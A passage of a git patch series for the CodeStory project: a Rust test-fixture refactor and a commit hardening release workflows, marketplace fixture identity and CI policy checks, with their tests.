a/crates/codestory-runtime/src/search_publication.rs b/crates/codestory-runtime/src/search_publication.rs index 9aeacb1e1..517bd30fb 100644 --- a/crates/codestory-runtime/src/search_publication.rs +++ b/crates/codestory-runtime/src/search_publication.rs @@ -885,6 +885,119 @@ pub(super) fn retrieval_state_from_storage_for_runtime( )) } +/// Test-support: stage the store a *served* full publication actually has. +/// +/// Readiness derives freshness from +/// `storage_admission_refusal_reason_for_runtime`, which recounts the symbol +/// docs, dense anchors, and dense-reason histogram in the store and refuses a +/// manifest that disagrees with them. Upserting only the manifest row +/// therefore stages a publication the sidecar would *refuse*: a manifest whose +/// recorded counts nothing in the store backs is exactly the core-only-refresh +/// shape readiness is supposed to catch, so such a fixture can never stand in +/// for a healthy project. Seed the rows the manifest's own counts describe, so +/// a fixture that calls itself healthy is healthy. +/// +/// Returns the manifest as published: `dense_reason_counts_json` is rewritten +/// to the histogram of the anchors this seeds, because admission compares the +/// manifest's copy against a recount rather than trusting it. +#[cfg(any(test, feature = "test-support"))] +pub(crate) fn publish_admissible_retrieval_manifest( + storage: &mut Storage, + manifest: &codestory_store::RetrievalIndexManifest, +) -> Result { + use crate::semantic_projection::{ + DenseAnchorReason, LLM_SYMBOL_DOC_SCHEMA_VERSION, SYMBOL_SEARCH_DOC_PROVENANCE, + }; + use codestory_contracts::graph::{Node, NodeId as CoreNodeId, NodeKind}; + use codestory_store::{DenseAnchorInput, SymbolSearchDoc}; + + fn storage_error(context: &str, error: impl std::fmt::Display) -> ApiError { + ApiError::internal(format!("{context}: {error}")) + } + + let mut manifest = manifest.clone(); + let symbol_doc_count = manifest.symbol_doc_count.unwrap_or(0).max(0); + let dense_count = manifest + .dense_projection_count + .or(manifest.projection_count) + .unwrap_or(0) + .max(0); + let selection_reason = DenseAnchorReason::PublicApi.as_str().to_string(); + manifest.dense_reason_counts_json = Some(if dense_count > 0 { + serde_json::json!({ selection_reason.clone(): dense_count }).to_string() + } else { + "{}".to_string() + }); + + // Nodes first: symbol docs and dense anchors are keyed by node id. + let node_count = symbol_doc_count.max(dense_count); + let nodes = (1..=node_count) + .map(|id| Node { + id: CoreNodeId(id), + kind: NodeKind::FUNCTION, + serialized_name: format!("admissible_{id:02}"), + ..Default::default() + }) + .collect::>(); + storage + .insert_nodes_batch(&nodes) + .map_err(|error| storage_error("Failed to seed admissible publication nodes", error))?; + + let symbol_docs = (1..=symbol_doc_count) + .map(|id| SymbolSearchDoc { + node_id: CoreNodeId(id), + file_node_id: None, + kind: NodeKind::FUNCTION, + display_name: format!("admissible_{id:02}"), + qualified_name: None, + file_path: None, + start_line: None, + doc_text: format!("admissible_{id:02}"), + doc_version: LLM_SYMBOL_DOC_SCHEMA_VERSION, + doc_hash: format!("admissible-doc-{id:02}"), + policy_version: codestory_retrieval::SEMANTIC_POLICY_VERSION.to_string(), + source_provenance: SYMBOL_SEARCH_DOC_PROVENANCE.to_string(), + updated_at_epoch_ms: 1, + }) + .collect::>(); + storage + .upsert_symbol_search_docs_batch(&symbol_docs) + .map_err(|error| { + storage_error("Failed to seed admissible publication symbol docs", error) + })?; + + let dense_inputs = (1..=dense_count) + .map(|id| DenseAnchorInput { + node_id: CoreNodeId(id), + file_node_id: None, + kind: NodeKind::FUNCTION, + display_name: format!("admissible_{id:02}"), + qualified_name: None, + file_path: None, + start_line: None, + end_line: None, + file_role: codestory_store::FileRole::Source, + source_provenance: SYMBOL_SEARCH_DOC_PROVENANCE.to_string(), + text: format!("admissible_{id:02}"), + document_hash: format!("admissible-anchor-{id:02}"), + selection_reason: selection_reason.clone(), + policy_version: codestory_retrieval::SEMANTIC_POLICY_VERSION.to_string(), + source_identity: format!("core:admissible_{id:02}"), + updated_at_epoch_ms: 1, + }) + .collect::>(); + storage + .upsert_dense_anchor_inputs_batch(&dense_inputs) + .map_err(|error| { + storage_error("Failed to seed admissible publication dense anchors", error) + })?; + + storage + .upsert_retrieval_index_manifest(&manifest) + .map_err(|error| storage_error("Failed to publish admissible retrieval manifest", error))?; + Ok(manifest) +} + fn published_dense_projection_count(manifest: &codestory_store::RetrievalIndexManifest) -> u32 { match manifest.dense_projection_count { Some(count) if count > 0 => u32::try_from(count).unwrap_or(u32::MAX), diff --git a/crates/codestory-runtime/src/tests.rs b/crates/codestory-runtime/src/tests.rs index c518bc327..1d380e212 100644 --- a/crates/codestory-runtime/src/tests.rs +++ b/crates/codestory-runtime/src/tests.rs @@ -2023,74 +2023,26 @@ fn published_full_retrieval_manifest(project_root: &Path) -> RetrievalIndexManif /// manifest row is therefore a publication the sidecar would *not* serve, so /// it cannot stand in for a healthy project when asserting that readiness /// reports hybrid. +/// +/// The seeding itself lives in `search_publication` so this fixture and the +/// one consumer crates reach through +/// `publish_admissible_retrieval_manifest_for_test` stage the same store; a +/// second private copy here is how the CLI's doctor fixture silently fell +/// behind this crate's in the first place. fn publish_admissible_full_retrieval_manifest( storage: &mut Storage, project_root: &Path, ) -> RetrievalIndexManifest { - let mut manifest = published_full_retrieval_manifest(project_root); - manifest.dense_reason_counts_json = - Some(serde_json::json!({ DenseAnchorReason::PublicApi.as_str(): 2 }).to_string()); - let symbol_doc_count = manifest.symbol_doc_count.expect("fixture symbol doc count"); - let dense_count = manifest - .dense_projection_count - .expect("fixture dense projection count"); - let nodes = (1..=symbol_doc_count) - .map(|id| Node { - id: CoreNodeId(id), - kind: NodeKind::FUNCTION, - serialized_name: format!("admissible_{id:02}"), - ..Default::default() - }) - .collect::>(); - let symbol_docs = (1..=symbol_doc_count) - .map(|id| SymbolSearchDoc { - node_id: CoreNodeId(id), - file_node_id: None, - kind: NodeKind::FUNCTION, - display_name: format!("admissible_{id:02}"), - qualified_name: None, - file_path: None, - start_line: None, - doc_text: format!("admissible_{id:02}"), - doc_version: LLM_SYMBOL_DOC_SCHEMA_VERSION, - doc_hash: format!("admissible-doc-{id:02}"), - policy_version: SEMANTIC_POLICY_VERSION.to_string(), - source_provenance: SYMBOL_SEARCH_DOC_PROVENANCE.to_string(), - updated_at_epoch_ms: 1, - }) - .collect::>(); - let dense_inputs = (1..=dense_count) - .map(|id| DenseAnchorInput { - node_id: CoreNodeId(id), - file_node_id: None, - kind: NodeKind::FUNCTION, - display_name: format!("admissible_{id:02}"), - qualified_name: None, - file_path: None, - start_line: None, - end_line: None, - file_role: codestory_store::FileRole::Source, - source_provenance: SYMBOL_SEARCH_DOC_PROVENANCE.to_string(), - text: format!("admissible_{id:02}"), - document_hash: format!("admissible-anchor-{id:02}"), - selection_reason: DenseAnchorReason::PublicApi.as_str().to_string(), - policy_version: SEMANTIC_POLICY_VERSION.to_string(), - source_identity: format!("core:admissible_{id:02}"), - updated_at_epoch_ms: 1, - }) - .collect::>(); - storage - .insert_nodes_batch(&nodes) - .expect("seed admissible publication nodes"); - storage - .upsert_symbol_search_docs_batch(&symbol_docs) - .expect("seed admissible publication symbol docs"); - storage - .upsert_dense_anchor_inputs_batch(&dense_inputs) - .expect("seed admissible publication dense anchors"); - storage - .upsert_retrieval_index_manifest(&manifest) - .expect("publish retrieval manifest"); + let manifest = published_full_retrieval_manifest(project_root); + let manifest = + crate::search_publication::publish_admissible_retrieval_manifest(storage, &manifest) + .expect("publish admissible retrieval manifest"); + assert_eq!( + manifest.dense_reason_counts_json.as_deref(), + Some(serde_json::json!({ DenseAnchorReason::PublicApi.as_str(): 2 }).to_string()) + .as_deref(), + "the shared fixture must publish the histogram of the anchors it seeds" + ); manifest } From 32a59784908218d065449bb88c22261b3f80f653 Mon Sep 17 00:00:00 2001 From: Albert Najjar Date: Tue, 28 Jul 2026 11:14:39 -0500 Subject: [PATCH 037/132] make the deferred catalog path actually complete The previous change took catalog publication off the release gate but left the deferred branch unable to finish: it attested a fixture resolve as `codex_marketplace_install`, wrote a temporary directory into `marketplace.repository`, and handed that to a predicate that requires the live public catalog. The release would have died three steps after the irreversible tag -- the same failure #1568 removed, relocated. Running the real pinned Codex CLI against a real fixture shows why no amount of relaxing the live check would have been honest. For a local catalog the resolver reports `sourceType: "local"`, the marketplace root IS the fixture directory rather than a clone inside the isolated Codex home, the config records no `ref`, and the repository has no `origin` remote at all. That is a different state of the world, so it gets a different name everywhere: - `codex_marketplace_deferred_fixture` as the installer identity, and `local:candidate-pinned-marketplace-fixture` as the attestation repository -- stable, not a path, and not shaped like a repository. - Its own accepted shape in `marketplace_installation.py`, reached by dispatch. The live shape is untouched: a fixture cannot satisfy it, and a deferred install cannot mint the live repository name. - The identity probe is fixture-aware. A candidate-pinned catalog is built locally and never fetched, so it has no `origin`; the predicate asserts that absence rather than treating a failed probe as proof of anything. Pointing a fake `origin` at the live marketplace would have made the fixture claim an identity it does not have. - The fixture says what it is in its own bytes. `build-marketplace-fixture.mjs` commits a marker naming the pinned commit, and a deferred install is refused unless the resolved catalog carries one naming the released commit -- so an arbitrary local git directory cannot pass for the fixture. `--local-fixture` no longer decides the state by falling through `!== "true"`, and retained qualification evidence binds each installer identity to its own repository instead of hard-coding the live one. The rest are the fail-open findings around it: - The catalog push step's body was no longer checked at all after the gate rule was replaced, so the job could mint `catalog_published=true` with the catalog untouched. Both lanes now pin it. - The anti-gate rule forbade `needs.marketplace-publish.result` only; the same hard gate written as `outputs.catalog_published == 'true'` passed. No reference to the catalog job may appear in either smoke's condition. - The revision checks measured length, not immutability. They are `^[0-9a-f]{40}$` now, in the workflows and in the policy that pins them. - `plugin-release.yml`'s deferred smoke built a catalog from its own workspace and verified the install back against the same tree. Both lanes now check out the published tag and make GitHub confirm it before anything is pinned. - The deferred installer identity was inert. The closeout reads it, requires every post-publish installed cell to agree on one declared identity, and records `catalog_delivery` in the ledger and summary; an undeclared installer or a disagreement rejects. - The recorded recovery path needs the same credential the deferral is usually caused by missing. The warning and AGENTS.md say so instead of implying a one-click fix. Closes #1568 Co-Authored-By: Claude Opus 5 --- .github/scripts/build-marketplace-fixture.mjs | 38 +- .../build-marketplace-fixture.test.mjs | 70 ++- .github/scripts/check-workflow-policy.mjs | 72 ++- .../scripts/check-workflow-policy.test.mjs | 200 ++++++- .../install-codestory-marketplace-proof.mjs | 42 +- ...stall-codestory-marketplace-proof.test.mjs | 49 ++ .../scripts/marketplace-delivery-identity.mjs | 30 + .../installed_identity.py | 13 +- .../marketplace_installation.py | 222 +++++++- .../qualification_retained_provenance.py | 19 +- .../scripts/packaged_agent_proof/self_test.py | 2 + .../self_test_marketplace_delivery.py | 530 ++++++++++++++++++ .github/workflows/plugin-release.yml | 56 +- .../workflows/post-publish-release-smoke.yml | 36 +- .github/workflows/release.yml | 14 +- AGENTS.md | 26 +- .../release-evidence/fixtures/candidate.json | 6 +- .../release-evidence/fixtures/report.json | 8 +- release-claims.json | 1 + scripts/codestory-release-claims.mjs | 24 +- scripts/codestory-release-closeout.mjs | 57 ++ .../tests/codestory-release-claims.test.mjs | 48 ++ .../tests/codestory-release-closeout.test.mjs | 87 ++- .../fixtures/release-claims/positive.json | 2 +- 24 files changed, 1573 insertions(+), 79 deletions(-) create mode 100644 .github/scripts/marketplace-delivery-identity.mjs create mode 100644 .github/scripts/packaged_agent_proof/self_test_marketplace_delivery.py diff --git a/.github/scripts/build-marketplace-fixture.mjs b/.github/scripts/build-marketplace-fixture.mjs index 6e65da508..27f862edd 100644 --- a/.github/scripts/build-marketplace-fixture.mjs +++ b/.github/scripts/build-marketplace-fixture.mjs @@ -15,6 +15,11 @@ import { execFileSync } from "node:child_process"; import { mkdirSync, writeFileSync } from "node:fs"; import path from "node:path"; +import { + FIXTURE_MARKER_FILENAME, + FIXTURE_MARKER_PURPOSE, +} from "./marketplace-delivery-identity.mjs"; + function fail(message) { console.error(`::error::${message}`); process.exit(1); @@ -53,7 +58,8 @@ if (typeof manifest.version !== "string" || !manifest.version) { fail("pinned commit has no plugin version"); } -const catalogDirectory = path.join(path.resolve(args.out), ".agents", "plugins"); +const fixtureRoot = path.resolve(args.out); +const catalogDirectory = path.join(fixtureRoot, ".agents", "plugins"); mkdirSync(catalogDirectory, { recursive: true }); // Mirrors the live catalog's shape at .agents/plugins/marketplace.json. The // resolver rejects a catalog missing `name`, and the live catalog carries no @@ -87,9 +93,35 @@ writeFileSync( `${JSON.stringify(catalog, null, 2)}\n`, ); -// The fixture must be a git repository: the Codex resolver clones it like the live catalog. +// A fixture catalog is a DISTINCT delivery state, not a stand-in that may pass for the live +// catalog, so it says so in its own bytes. The installed-runtime predicate refuses to accept a +// deferred installation unless the resolved marketplace root carries this marker naming the +// exact commit the catalog pins -- an arbitrary local git directory, or a clone of the live +// marketplace, cannot satisfy the deferred shape by accident. +// +// This file sits beside .agents/, not inside it: the resolver reads only +// .agents/plugins/marketplace.json, so the catalog the resolver sees stays byte-identical in +// shape to the live one. +writeFileSync( + path.join(fixtureRoot, FIXTURE_MARKER_FILENAME), + `${JSON.stringify( + { + schema_version: 1, + purpose: FIXTURE_MARKER_PURPOSE, + pinned_commit: commit, + plugin_version: manifest.version, + }, + null, + 2, + )}\n`, +); + +// The fixture must be a git repository: the Codex resolver reads it like the live catalog. +// It deliberately has NO `origin` remote. Pointing one at the live marketplace URL would make +// the fixture claim an identity it does not have, and the deferred predicate asserts the +// absence positively rather than tolerating a failed probe. const git = (...command) => - execFileSync("git", ["-C", path.resolve(args.out), ...command], { encoding: "utf8" }); + execFileSync("git", ["-C", fixtureRoot, ...command], { encoding: "utf8" }); git("init", "--quiet", "--initial-branch", "main"); git("config", "user.email", "release@codestory.invalid"); git("config", "user.name", "CodeStory release"); diff --git a/.github/scripts/build-marketplace-fixture.test.mjs b/.github/scripts/build-marketplace-fixture.test.mjs index b6977634e..46a46692c 100644 --- a/.github/scripts/build-marketplace-fixture.test.mjs +++ b/.github/scripts/build-marketplace-fixture.test.mjs @@ -4,8 +4,8 @@ // fixture path failed at preflight. import assert from "node:assert/strict"; -import { execFileSync } from "node:child_process"; -import { mkdtempSync, readFileSync, rmSync } from "node:fs"; +import { execFileSync, spawnSync } from "node:child_process"; +import { existsSync, mkdtempSync, readFileSync, rmSync } from "node:fs"; import { tmpdir } from "node:os"; import path from "node:path"; import test from "node:test"; @@ -76,3 +76,69 @@ test("the fixture states no version, because the live catalog states none", () = rmSync(out, { recursive: true, force: true }); } }); + +// A fixture catalog is a DISTINCT delivery state, not a stand-in that may pass for the live one. +// The installed-runtime predicate refuses a deferred install whose marketplace root does not carry +// this marker naming the exact commit the catalog pins, so an arbitrary local git directory -- or +// a clone of the live marketplace -- cannot satisfy the deferred shape by accident. +test("the fixture identifies itself and the commit it pins", () => { + const { out, commit } = buildFixture(); + try { + const marker = JSON.parse( + readFileSync(path.join(out, ".codestory-marketplace-fixture.json"), "utf8"), + ); + assert.deepEqual(Object.keys(marker).sort(), [ + "pinned_commit", + "plugin_version", + "purpose", + "schema_version", + ]); + assert.equal(marker.schema_version, 1); + assert.equal(marker.purpose, "codestory-candidate-pinned-marketplace-fixture"); + assert.equal(marker.pinned_commit, commit); + // The marker must be committed, or a clean-tree check would pass over a fixture that had + // been re-marked after the fact. + assert.equal( + execFileSync("git", ["-C", out, "status", "--porcelain"], { encoding: "utf8" }).trim(), + "", + ); + } finally { + rmSync(out, { recursive: true, force: true }); + } +}); + +// The fixture deliberately has no `origin`. Pointing one at the live marketplace URL would make it +// claim an identity it does not have, and the predicate asserts the absence positively rather than +// treating a failed probe as proof of anything. The predicate's own probe used to hard-fail here, +// which is what made the deferred path unprovable in the first place. +test("the fixture is local-only and never claims the live marketplace as its origin", () => { + const { out } = buildFixture(); + try { + const probe = spawnSync("git", ["-C", out, "remote", "get-url", "origin"], { + encoding: "utf8", + }); + assert.notEqual(probe.status, 0, "a candidate-pinned fixture must have no origin remote"); + assert.match(probe.stderr, /No such remote/u); + assert.equal( + execFileSync("git", ["-C", out, "remote"], { encoding: "utf8" }).trim(), + "", + ); + } finally { + rmSync(out, { recursive: true, force: true }); + } +}); + +// The resolver reads .agents/plugins/marketplace.json and nothing else, so the marker must not +// change the catalog the resolver sees. +test("the marker sits outside the catalog the resolver reads", () => { + const { out, catalog } = buildFixture(); + try { + assert.equal(catalog.fixture, undefined); + assert.equal( + existsSync(path.join(out, ".agents", "plugins", ".codestory-marketplace-fixture.json")), + false, + ); + } finally { + rmSync(out, { recursive: true, force: true }); + } +}); diff --git a/.github/scripts/check-workflow-policy.mjs b/.github/scripts/check-workflow-policy.mjs index 24fd96a69..6cea6686e 100644 --- a/.github/scripts/check-workflow-policy.mjs +++ b/.github/scripts/check-workflow-policy.mjs @@ -1591,6 +1591,15 @@ function catalogDeliveryOutcomeViolations(file, job, delivery) { && catalogPush?.if === "steps.token.outcome == 'success'", `${file} catalog push must run only with a minted token and must not fail the release`, ); + // The step that mints `catalog_published` reads THIS step's outcome, so a push step that does + // not push would let a run claim a catalog update it never attempted. Turning the gate into + // delivery replaced the rule that checked this body; it belongs to both lanes, so it lives + // here rather than in either lane's own rules. + requireStepRun(violations, file, job, "Point the catalog at the published release", [ + "publish-marketplace-catalog.mjs", + '--commit "$GITHUB_SHA"', + '--github-output "$GITHUB_OUTPUT"', + ]); const deliveryOutcome = namedStep(job, "Record catalog delivery outcome"); add( violations, @@ -1619,6 +1628,11 @@ function catalogDeliveryOutcomeViolations(file, job, delivery) { 'echo "marketplace_revision=$marketplace_revision" >> "$GITHUB_OUTPUT"', "::warning::Catalog publication deferred", "recover with $RECOVERY_WORKFLOW", + // The recovery workflow mints the SAME credential from the SAME environment, so it recovers + // a rejected push and not a missing credential. A run that defers because the credential is + // absent must say that, or the ledger records an instruction nobody can follow. + 'if [ "$TOKEN_OUTCOME" != "success" ]; then', + "provision the marketplace-publish credential", ]); add( violations, @@ -1761,6 +1775,8 @@ function validateReleaseCoordinator(workflows, violations, graph) { "install-codestory-marketplace-proof.mjs", '--source-repository "$GITHUB_WORKSPACE"', "marketplace_revision=$marketplace_revision", + `printf '%s' "$marketplace_revision" | grep -Eq '^[0-9a-f]{40}$'`, + `printf '%s' "$fixture_revision" | grep -Eq '^[0-9a-f]{40}$'`, // Fixture mode resolves from the locally built catalog, so provenance is // checked against that repository's own revision. Checking it against the // live revision can never match, which is how the fixture path shipped @@ -2022,10 +2038,14 @@ function validateReleaseCoordinator(workflows, violations, graph) { && postIf.includes("needs.publish.result == 'success'"), `${releaseFile} post-publish smoke must require trusted publication authority and a successful publish`, ); + // Not `.result` alone: `needs.marketplace-publish.outputs.catalog_published == 'true'` in the + // condition would reinstate exactly the hard catalog gate this change removed, under a + // different spelling. Nothing about the catalog job may appear in the condition at all; the + // delivery state reaches the smoke through `with:`, where it is data rather than a gate. add( violations, - !postIf.includes(`needs.${catalogDelivery.publish_job}.result`), - `${releaseFile} post-publish smoke must not gate on ${catalogDelivery.publish_job} succeeding`, + !postIf.includes(`needs.${catalogDelivery.publish_job}`), + `${releaseFile} post-publish smoke must not gate on ${catalogDelivery.publish_job} in any form`, ); // THE anti-vacuity rule: the catalog claim may only ever be the recorded delivery state. A // literal, an unrelated input, or any other expression would let a release assert a catalog @@ -2739,11 +2759,37 @@ function validatePackagedProof(workflows, violations, graph) { // install of the real published assets; they differ in WHICH catalog served it, and that // difference is carried into the release ledger as a distinct installer identity. These rules // prove the two states stay distinguishable and that neither can be selected by accident. -function catalogDeliveryStateViolations(file, job, delivery, handoff, installStepName) { +function catalogDeliveryStateViolations(file, job, delivery, handoff, installStepName, checkoutRef) { const violations = []; const published = delivery.states.find(({ id }) => id === "published"); const deferred = delivery.states.find(({ id }) => id === "deferred"); + // Whatever else the deferred branch does, it builds a catalog out of a tree and then verifies + // the install back against a tree. If those may be the same tree by default, the comparison is + // a tautology and the smoke cannot fail for any release-related reason. Both lanes therefore + // check out the PUBLISHED tag and make GitHub confirm it before anything is pinned. + const checkout = list(job.steps).find( + (candidate) => String(object(candidate).uses ?? "").startsWith("actions/checkout@"), + ); + add( + violations, + object(object(checkout).with).ref === checkoutRef + && object(object(checkout).with)["fetch-depth"] === 0, + `${file} post-publish smoke must check out the published release tag, not the run's own head`, + ); + requireStepRun(violations, file, job, "Bind this smoke to the published release", [ + 'gh release view "$TAG"', + "--json isDraft", + 'published_commit="$(gh api "repos/$GITHUB_REPOSITORY/commits/$TAG" --jq .sha)"', + `printf '%s' "$published_commit" | grep -Eq '^[0-9a-f]{40}$'`, + 'if [ "$published_commit" != "$(git -C "$GITHUB_WORKSPACE" rev-parse HEAD)" ]; then', + 'echo "commit=$published_commit" >> "$GITHUB_OUTPUT"', + ]); const step = namedStep(job, "Record catalog delivery state"); + add( + violations, + object(step?.env).PUBLISHED_COMMIT === "${{ steps.published.outputs.commit }}", + `${file} catalog delivery state must pin the commit resolved from the published release`, + ); add( violations, step?.if === undefined && step?.["continue-on-error"] === undefined, @@ -2768,13 +2814,20 @@ function catalogDeliveryStateViolations(file, job, delivery, handoff, installSte 'if [ -n "$INPUT_MARKETPLACE_REVISION" ]; then', "Deferred catalog publication must not carry a live catalog revision", "build-marketplace-fixture.mjs", + // The fixture pins the PUBLISHED commit, never the workspace's own head. Building a catalog + // out of the tree that then verifies the install makes the source-tree comparison a + // tautology, which is how the plugin lane's deferred smoke became unable to fail. + '--commit "$published_commit"', 'marketplace_revision="$(git -C "$fixture_root" rev-parse HEAD)"', "local_fixture=true", `installer=${deferred.installer}`, // Neither branch may fall through: an unset or unexpected handoff is a hard failure, never a // silent default into the published identity. "catalog_published must be true or false", - 'test "$(printf \'%s\' "$marketplace_revision" | wc -c | tr -d \' \')" = 40', + // Immutability, not length. A 40-character string is not a commit: the published branch + // takes its revision from a `workflow_dispatch`-able input, and a length-only test admits + // any 40 characters of anything. + `printf '%s' "$marketplace_revision" | grep -Eq '^[0-9a-f]{40}$'`, 'echo "installer=$installer"', ]); const deliveryRun = executableRunText(String(step?.run ?? "")); @@ -2894,6 +2947,7 @@ function validatePostPublish(workflows, violations, graph) { revision: "${{ inputs.marketplace_revision }}", }, resolveStepName, + "${{ steps.release.outputs.tag }}", )); // The one place the delivery state reaches the release ledger. It must be the resolved value and // never a literal, or a deferred run could sign a cell saying the public catalog served it. @@ -2915,6 +2969,9 @@ function validatePostPublish(workflows, violations, graph) { const resolveInstalled = namedStep(job, resolveStepName); requireStepRun(violations, file, job, resolveStepName, [ 'marketplace_revision="${{ steps.delivery.outputs.marketplace_revision }}"', + // Re-checked here as an immutable identity, not merely as 40 characters: this job is + // dispatchable, so the published branch's revision can arrive from a human. + `printf '%s' "$marketplace_revision" | grep -Eq '^[0-9a-f]{40}$'`, '"@openai/codex@$CODEX_CLI_VERSION"', "install-codestory-marketplace-proof.mjs", '--marketplace-source "${{ steps.delivery.outputs.marketplace_source }}"', @@ -4791,6 +4848,7 @@ export function validatePluginRelease(workflows, violations, graph) { revision: "${{ needs.marketplace-publish.outputs.marketplace_revision }}", }, installStepName, + "v${{ inputs.version }}", )); const smokeIf = String(smoke.if ?? ""); add( @@ -4798,8 +4856,10 @@ export function validatePluginRelease(workflows, violations, graph) { smokeIf.includes("always()") && smokeIf.includes("needs.preflight.result == 'success'") && smokeIf.includes("needs.publish.result == 'success'") - && !smokeIf.includes("needs.marketplace-publish.result"), - `${file} post-publish smoke must require a successful publish without gating on marketplace-publish succeeding`, + // Any reference at all, not just `.result`: an `outputs.catalog_published == 'true'` + // conjunct here is the same hard gate wearing a different name. + && !smokeIf.includes("needs.marketplace-publish"), + `${file} post-publish smoke must require a successful publish without gating on marketplace-publish in any form`, ); const auto = workflows.get("auto-release.yml"); diff --git a/.github/scripts/check-workflow-policy.test.mjs b/.github/scripts/check-workflow-policy.test.mjs index d2c8b7d02..40fdfa58b 100644 --- a/.github/scripts/check-workflow-policy.test.mjs +++ b/.github/scripts/check-workflow-policy.test.mjs @@ -2528,9 +2528,21 @@ function runCatalogDeliveryOutcome(environment, [file, jobName] = catalogOutcome function runCatalogDeliveryState(environment, [file, jobName] = catalogStateLanes[0]) { const step = draftStep(loadWorkflows().get(file).jobs[jobName], "Record catalog delivery state"); assert.ok(!step.run.includes("${{"), "delivery state body must not embed workflow expressions"); + // PUBLISHED_COMMIT is what the preceding step resolved from the published release. It is the + // step's own input here, exactly as it is in the workflow. return runStepBash(step.run, environment); } +// Both smokes bind themselves to the published release before deciding anything, so the executable +// body below is run with that binding present -- and, separately, with it broken. +function runCatalogDeliveryStateBound(environment, lane) { + return runCatalogDeliveryState({ PUBLISHED_COMMIT: repositoryHead(), ...environment }, lane); +} + +function repositoryHead() { + return spawnSync("git", ["-C", root, "rev-parse", "HEAD"], { encoding: "utf8" }).stdout.trim(); +} + test("a release records catalog publication only when the catalog push actually landed", () => { const revision = "a".repeat(40); @@ -2592,11 +2604,11 @@ test("the post-publish smoke cannot record a public catalog install it did not p const publishedInstaller = states.find(({ id }) => id === "published").installer; const deferredInstaller = states.find(({ id }) => id === "deferred").installer; const liveRevision = "b".repeat(40); - const head = spawnSync("git", ["-C", root, "rev-parse", "HEAD"], { encoding: "utf8" }).stdout.trim(); + const head = repositoryHead(); for (const lane of catalogStateLanes) { const where = lane.join("/"); - const published = runCatalogDeliveryState({ + const published = runCatalogDeliveryStateBound({ CATALOG_PUBLISHED: "true", INPUT_MARKETPLACE_REVISION: liveRevision, }, lane); @@ -2610,7 +2622,7 @@ test("the post-publish smoke cannot record a public catalog install it did not p // Deferred still proves a real Codex install of the real published artifacts -- it changes only // WHICH catalog served it -- and it says so with an installer identity that cannot be confused // for the public one. - const deferred = runCatalogDeliveryState({ + const deferred = runCatalogDeliveryStateBound({ CATALOG_PUBLISHED: "false", INPUT_MARKETPLACE_REVISION: "", }, lane); @@ -2635,18 +2647,48 @@ test("the post-publish smoke cannot record a public catalog install it did not p ["absent handoff", { CATALOG_PUBLISHED: "", INPUT_MARKETPLACE_REVISION: "" }], ["truthy handoff", { CATALOG_PUBLISHED: "TRUE", INPUT_MARKETPLACE_REVISION: liveRevision }], ["handoff spelled yes", { CATALOG_PUBLISHED: "yes", INPUT_MARKETPLACE_REVISION: liveRevision }], - // Published demands an immutable revision: an empty or mutable one is not a catalog install. + // Published demands an IMMUTABLE revision. "main" is refused by any length test at all, so + // it never exercised immutability; the 40-character non-hex cases below do, and they are + // reachable in practice because this workflow is dispatchable with an arbitrary string. ["published without a revision", { CATALOG_PUBLISHED: "true", INPUT_MARKETPLACE_REVISION: "" }], ["published with a mutable ref", { CATALOG_PUBLISHED: "true", INPUT_MARKETPLACE_REVISION: "main" }], ["published with a truncated revision", { CATALOG_PUBLISHED: "true", INPUT_MARKETPLACE_REVISION: "b".repeat(39), }], + ["published with forty non-hex characters", { + CATALOG_PUBLISHED: "true", + INPUT_MARKETPLACE_REVISION: "z".repeat(40), + }], + ["published with a forty-character branch name", { + CATALOG_PUBLISHED: "true", + INPUT_MARKETPLACE_REVISION: "refs/heads/some-quite-long-branch-name-xy", + }], + ["published with an uppercase revision", { + CATALOG_PUBLISHED: "true", + INPUT_MARKETPLACE_REVISION: "B".repeat(40), + }], ]) { - const refused = runCatalogDeliveryState(environment, lane); + const refused = runCatalogDeliveryStateBound(environment, lane); assert.notEqual(refused.status, 0, `${where}: ${label}`); assert.notEqual(refused.outputs.installer, publishedInstaller, `${where}: ${label}`); } + + // The deferred branch pins the commit the previous step resolved from the published release. + // A missing or non-immutable binding must stop the job rather than fall back to this tree. + for (const [label, publishedCommit] of [ + ["absent published commit", ""], + ["mutable published ref", "main"], + ["forty non-hex characters", "z".repeat(40)], + ]) { + const refused = runCatalogDeliveryState({ + CATALOG_PUBLISHED: "false", + INPUT_MARKETPLACE_REVISION: "", + PUBLISHED_COMMIT: publishedCommit, + }, lane); + assert.notEqual(refused.status, 0, `${where}: ${label}`); + assert.equal(refused.outputs.installer, undefined, `${where}: ${label}`); + } } }); @@ -2762,7 +2804,7 @@ test("catalog publication cannot be reinstated as a gate or claimed without happ ["smoke waits for the catalog job to succeed", workflows => { smokeCall(workflows).if = "inputs.publish_release && needs.marketplace-publish.result == 'success'"; - }, /must not gate on marketplace-publish succeeding/u], + }, /must not gate on marketplace-publish in any form/u], ["smoke is skipped whenever the catalog job did not run cleanly", workflows => { smokeCall(workflows).if = "inputs.publish_release"; }, /post-publish smoke must require trusted publication authority and a successful publish/u], @@ -2824,6 +2866,152 @@ test("catalog publication cannot be reinstated as a gate or claimed without happ draftStep(pluginSmokeJob(workflows), "Prove the public marketplace install path") .env.MARKETPLACE_REVISION = "${{ needs.marketplace-publish.outputs.marketplace_revision }}"; }, /plugin-release\.yml post-publish smoke must install from the marketplace revision this release published/u], + // --- A recovery instruction that cannot be followed --- + // marketplace-sync.yml mints the same credential from the same environment, so it recovers a + // rejected push and not a missing credential. Naming it unconditionally recorded a one-click + // fix that does not exist for the state every release currently reaches. + ["deferral stops distinguishing a missing credential from a rejected push", workflows => { + const step = draftStep(publishJob(workflows), "Record catalog delivery outcome"); + step.run = step.run.replace('if [ "$TOKEN_OUTCOME" != "success" ]; then', "if false; then"); + }, /release\.yml step Record catalog delivery outcome must run if \[ "\$TOKEN_OUTCOME" != "success" \]; then/u], + ["plugin lane deferral stops naming the credential the recovery needs", workflows => { + const step = draftStep(pluginPublishJob(workflows), "Record catalog delivery outcome"); + step.run = step.run.replace("provision the marketplace-publish credential", "try again"); + }, /plugin-release\.yml step Record catalog delivery outcome must run provision the marketplace-publish credential/u], + + // --- The push step no longer having to push --- + // Turning the gate into delivery deleted the rule that read this step's body, leaving a job + // that could mint `catalog_published=true` with the catalog untouched. Both lanes. + ["catalog push stops pushing anything", workflows => { + draftStep(publishJob(workflows), "Point the catalog at the published release").run + = 'echo "catalog untouched"\necho "marketplace_revision=$(printf a%.0s $(seq 40))" >> "$GITHUB_OUTPUT"'; + }, /release\.yml step Point the catalog at the published release must run publish-marketplace-catalog\.mjs/u], + ["catalog push stops naming the commit it publishes", workflows => { + const step = 